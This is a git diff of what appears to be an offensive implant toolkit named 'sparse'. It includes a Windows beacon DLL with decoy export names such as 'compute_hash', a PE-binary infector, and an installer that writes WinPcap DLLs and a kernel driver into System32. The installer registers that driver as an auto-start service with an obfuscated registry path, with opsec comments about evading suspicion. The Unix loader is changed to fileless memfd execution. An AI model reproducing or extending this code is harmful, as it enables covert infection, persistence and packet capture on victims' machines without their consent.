diff --git a/Cargo.lock b/Cargo.lock
index 0a24cc9..b933735 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -3282,6 +3282,7 @@ name = "sparse-windows-beacon"
 version = "2.0.0"
 dependencies = [
  "windows",
+ "winreg",
 ]
 
 [[package]]
@@ -3296,11 +3297,15 @@ dependencies = [
 name = "sparse-windows-installer"
 version = "2.0.0"
 dependencies = [
+ "errno",
  "hex",
  "rand 0.9.0",
  "sparse-actions",
  "sparse-windows-infector",
  "structopt",
+ "windows",
+ "windows-strings",
+ "winreg",
 ]
 
 [[package]]
@@ -4722,6 +4727,16 @@ dependencies = [
  "memchr",
 ]
 
+[[package]]
+name = "winreg"
+version = "0.55.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "cb5a765337c50e9ec252c2069be9bf91c7df47afb103b642ba3a53bf8101be97"
+dependencies = [
+ "cfg-if",
+ "windows-sys 0.59.0",
+]
+
 [[package]]
 name = "wit-bindgen-rt"
 version = "0.33.0"
diff --git a/flake.nix b/flake.nix
index f54dc96..d85d359 100644
--- a/flake.nix
+++ b/flake.nix
@@ -118,8 +118,8 @@
           });
 
         buildEnvironment = {
-          SPARSE_BUILD_WINPCAP_LIBS = "${winpcap-libs}/Lib";
-          SPARSE_BUILD_WINPCAP_DRIVERS = "${winpcap-drivers}/npf.sys";
+          SPARSE_BUILD_WINPCAP_LINK_INFO = "${winpcap-libs}/Lib";
+          SPARSE_BUILD_WINPCAP_DRIVERS = "${winpcap-drivers}";
           SPARSE_BUILD_LIBPCAP_LINUX_GNU = libpcap-linux-gnu;
           SPARSE_BUILD_LIBPCAP_LINUX_MUSL = libpcap-linux-musl;
           SPARSE_BUILD_LIBPCAP_FREEBSD = libpcap-freebsd;
diff --git a/pcap-sys/build.rs b/pcap-sys/build.rs
index 83168af..a93b10c 100644
--- a/pcap-sys/build.rs
+++ b/pcap-sys/build.rs
@@ -17,7 +17,7 @@ fn main() {
     include!("../build_common.rs");
 
     if std::env::var("CARGO_CFG_TARGET_OS").unwrap() == "windows" {
-        let libdir = std::env::var("SPARSE_BUILD_WINPCAP_LIBS").unwrap();
+        let libdir = std::env::var("SPARSE_BUILD_WINPCAP_LINK_INFO").unwrap();
         println!("cargo:rustc-link-search=native={libdir}");
         println!("cargo:rustc-link-search=native={libdir}/x64");
         println!("cargo:rustc-link-lib=wpcap");
diff --git a/sparse-windows-beacon/Cargo.toml b/sparse-windows-beacon/Cargo.toml
index 19c805e..51a123f 100644
--- a/sparse-windows-beacon/Cargo.toml
+++ b/sparse-windows-beacon/Cargo.toml
@@ -8,3 +8,4 @@ crate-type = ["cdylib"]
 
 [dependencies]
 windows = { version = "0.59.0", features = ["Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] }
+winreg = "0.55"
diff --git a/sparse-windows-beacon/src/lib.rs b/sparse-windows-beacon/src/lib.rs
index 3251c06..9fcc142 100644
--- a/sparse-windows-beacon/src/lib.rs
+++ b/sparse-windows-beacon/src/lib.rs
@@ -1,6 +1,3 @@
-#[unsafe(no_mangle)]
-pub extern "C" fn compute_hash() {}
-
 use windows::{
     core::*,
     Win32::{System::SystemServices::DLL_PROCESS_ATTACH, UI::WindowsAndMessaging::*},
@@ -9,13 +6,29 @@ use windows::{
 #[unsafe(no_mangle)]
 pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 {
     if dw_reason == DLL_PROCESS_ATTACH {
-        std::thread::spawn(|| unsafe {
-            MessageBoxW(None, w!("Hi"), w!("There"), MB_OK);
+        std::thread::spawn(|| {
+            std::thread::sleep(std::time::Duration::from_millis(500));
+
+            if let Err(_e) = hash_internals() {
+                // what are we going to do??
+                // go to the user and say "malware crashed"?
+            }
         });
     }
     1
 }
 
+fn hash_internals() -> std::result::Result<(), std::io::Error> {
+    unsafe {
+        MessageBoxW(None, w!("Hi!"), w!("There!"), MB_OK);
+    }
+
+    Ok(())
+}
+
+#[unsafe(no_mangle)]
+pub extern "C" fn compute_hash() {}
+
 #[unsafe(no_mangle)]
 pub extern "C" fn md4sum() {}
 #[unsafe(no_mangle)]
diff --git a/sparse-windows-infector/src/lib.rs b/sparse-windows-infector/src/lib.rs
index 88933b2..aba01c8 100644
--- a/sparse-windows-infector/src/lib.rs
+++ b/sparse-windows-infector/src/lib.rs
@@ -370,14 +370,3 @@ where
 
     Ok(())
 }
-
-fn rva_to_offset(section_headers: &[SectionHeader], rva: u32) -> u32 {
-    section_headers
-        .iter()
-        .find_map(|sh| {
-            Some(rva - sh.virtual_address + sh.raw_data_ptr).filter(|_| {
-                (sh.virtual_address..(sh.virtual_address + sh.virtual_size)).contains(&rva)
-            })
-        })
-        .unwrap_or(rva)
-}
diff --git a/sparse-windows-installer/Cargo.toml b/sparse-windows-installer/Cargo.toml
index 4e41986..a409f85 100644
--- a/sparse-windows-installer/Cargo.toml
+++ b/sparse-windows-installer/Cargo.toml
@@ -4,8 +4,12 @@ edition = "2024"
 version.workspace = true
 
 [dependencies]
+errno = "0.3.10"
 hex = "0.4.3"
 rand = "0.9.0"
 sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
 sparse-windows-infector = { version = "2.0.0", path = "../sparse-windows-infector" }
 structopt = "0.3.26"
+windows = { version = "0.59.0", features = ["Win32_System_Services"] }
+windows-strings = "0.3.0"
+winreg = "0.55.0"
diff --git a/sparse-windows-installer/src/main.rs b/sparse-windows-installer/src/main.rs
index 0d8585d..b7fa9c6 100644
--- a/sparse-windows-installer/src/main.rs
+++ b/sparse-windows-installer/src/main.rs
@@ -10,6 +10,19 @@ use structopt::StructOpt;
 use sparse_actions::payload_types::{Parameters, XOR_KEY};
 use sparse_windows_infector::infect_pe_binary;
 
+pub const WPCAP_DLL: &'static [u8] = include_bytes!(concat!(
+    std::env!("SPARSE_BUILD_WINPCAP_DRIVERS"),
+    "/wpcap.dll"
+));
+pub const PACKET_DLL: &'static [u8] = include_bytes!(concat!(
+    std::env!("SPARSE_BUILD_WINPCAP_DRIVERS"),
+    "/Packet.dll"
+));
+pub const NPF_SYS: &'static [u8] = include_bytes!(concat!(
+    std::env!("SPARSE_BUILD_WINPCAP_DRIVERS"),
+    "/npf.sys"
+));
+
 #[derive(StructOpt, Debug)]
 #[structopt(name = "sparse-installer")]
 struct Options {
@@ -29,6 +42,14 @@ struct Options {
     /// How long to randomly wait (maximum) after being loaded before causing tomfoolery
     #[structopt(long, default_value = "0")]
     delay_seconds_maximum: u8,
+
+    /// Automatically install WinPcap. Does not automatically load the driver
+    #[structopt(long)]
+    install_winpcap: bool,
+
+    /// Automatically load WinPcap after installing it (opsec: LoadDriver is suspicious)
+    #[structopt(long)]
+    load_winpcap: bool,
 }
 
 fn main() -> Result<(), Error> {
@@ -72,5 +93,96 @@ fn main() -> Result<(), Error> {
 
     infect_pe_binary(opts.binary, opts.library_path, parameters_buffer)?;
 
+    if opts.install_winpcap {
+        #[cfg(target_os = "windows")]
+        install_winpcap(opts.load_winpcap)?;
+    }
+
+    Ok(())
+}
+
+#[cfg(target_os = "windows")]
+fn install_winpcap(load_winpcap: bool) -> Result<(), Error> {
+    use winreg::{enums::*, RegKey, RegValue};
+
+    std::fs::write(r"C:\Windows\System32\wpcap.dll", WPCAP_DLL)?;
+    std::fs::write(r"C:\Windows\System32\Packet.dll", PACKET_DLL)?;
+    std::fs::write(r"C:\Windows\System32\drivers\npf.sys", NPF_SYS)?;
+
+    let hklm = RegKey::predef(HKEY_LOCAL_MACHINE);
+    let services = hklm.open_subkey(r"SYSTEM\CurrentControlSet\Services")?;
+
+    let (srv_npf, _) = services.create_subkey("NPF")?;
+
+    srv_npf.set_value("DisplayName", &"NetGroup Packet Filter Driver")?;
+    srv_npf.set_value("ErrorControl", &0x1u32)?;
+    srv_npf.set_raw_value(
+        "ImagePath",
+        &RegValue {
+            vtype: REG_EXPAND_SZ,
+            bytes: vec![
+                0x43, 0x00, 0x3a, 0x00, 0x5c, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x64, 0x00,
+                0x6f, 0x00, 0x77, 0x00, 0x73, 0x00, 0x5c, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00,
+                0x74, 0x00, 0x65, 0x00, 0x6d, 0x00, 0x33, 0x00, 0x32, 0x00, 0x5c, 0x00, 0x64, 0x00,
+                0x72, 0x00, 0x69, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x5c, 0x00,
+                0x6e, 0x00, 0x70, 0x00, 0x66, 0x00, 0x2e, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00,
+                0x00, 0x00,
+            ],
+        },
+    )?;
+    srv_npf.set_value("Start", &0x2u32)?;
+    srv_npf.set_value("TimestampMode", &0x0u32)?;
+    srv_npf.set_value("Type", &0x1u32)?;
+    srv_npf.set_value("WOW64", &0x1u32)?;
+
+    if load_winpcap {
+        unsafe {
+            use windows::Win32::System::Services::{
+                CreateServiceW, OpenSCManagerW, OpenServiceW, StartServiceW, SC_MANAGER_ALL_ACCESS,
+                SERVICE_ALL_ACCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
+                SERVICE_KERNEL_DRIVER, SERVICE_START,
+            };
+            use windows_strings::*;
+
+            let h_scmanager =
+                OpenSCManagerW(PCWSTR::null(), PCWSTR::null(), SC_MANAGER_ALL_ACCESS)?;
+
+            if h_scmanager.0.is_null() {
+                eprintln!(
+                    "Could not open connection to service manager: {}",
+                    errno::errno()
+                );
+                panic!();
+            }
+
+            let npfsrvc = OpenServiceW(h_scmanager, w!("NPF"), SERVICE_START);
+
+            if let Ok(srvc) = npfsrvc {
+                println!("Service already installed, starting");
+                println!("(If it fails because it's already running, that's fine, everything has worked)");
+                StartServiceW(srvc, None)?;
+                return Ok(());
+            }
+
+            let npfsrvc = CreateServiceW(
+                h_scmanager,
+                w!("NPF"),
+                w!("NetGroup Packet Filter Driver"),
+                SERVICE_ALL_ACCESS,
+                SERVICE_KERNEL_DRIVER,
+                SERVICE_AUTO_START,
+                SERVICE_ERROR_NORMAL,
+                w!(r"C:\Windows\System32\drivers\npf.sys"),
+                PCWSTR::null(),
+                None,
+                PCWSTR::null(),
+                PCWSTR::null(),
+                PCWSTR::null(),
+            )?;
+
+            StartServiceW(npfsrvc, None)?;
+        }
+    }
+
     Ok(())
 }
diff --git a/system-libs.nix b/system-libs.nix
index b71133e..1e0ffcf 100644
--- a/system-libs.nix
+++ b/system-libs.nix
@@ -39,7 +39,11 @@ in {
     unpackPhase = ''
       mkdir -p $out
       printf 'Y\nN\n' | 7z e "${winpcap-installer}" '$SYSDIR/drivers/npf.sys'
+      printf 'Y\n' | 7z e "${winpcap-installer}" '$SYSDIR/wpcap.dll'
+      printf 'Y\nY\nN\nN\n' | 7z e "${winpcap-installer}" '$SYSDIR/Packet.dll'
       mv npf.sys $out/npf.sys
+      mv wpcap.dll $out/wpcap.dll
+      mv Packet.dll $out/Packet.dll
     '';
   };
 
diff --git a/unix-loader/src/libloader.zig b/unix-loader/src/libloader.zig
index e008034..162d37d 100644
--- a/unix-loader/src/libloader.zig
+++ b/unix-loader/src/libloader.zig
@@ -12,15 +12,8 @@ const Parameters = abi.Parameters;
 const config = @import("config");
 
 fn open_temp() !std.fs.File {
-    switch (builtin.os.tag) {
-        .linux => {
-            const fd = try posix.memfd_create("", 0);
-            return std.fs.File{ .handle = @intCast(fd) };
-        },
-        else => {
-            return std.fs.createFileAbsolute("/tmp/libcryptoint", .{ .mode = 0o775 });
-        },
-    }
+    const fd = try posix.memfd_create("", 0);
+    return std.fs.File{ .handle = @intCast(fd) };
 }
 
 fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {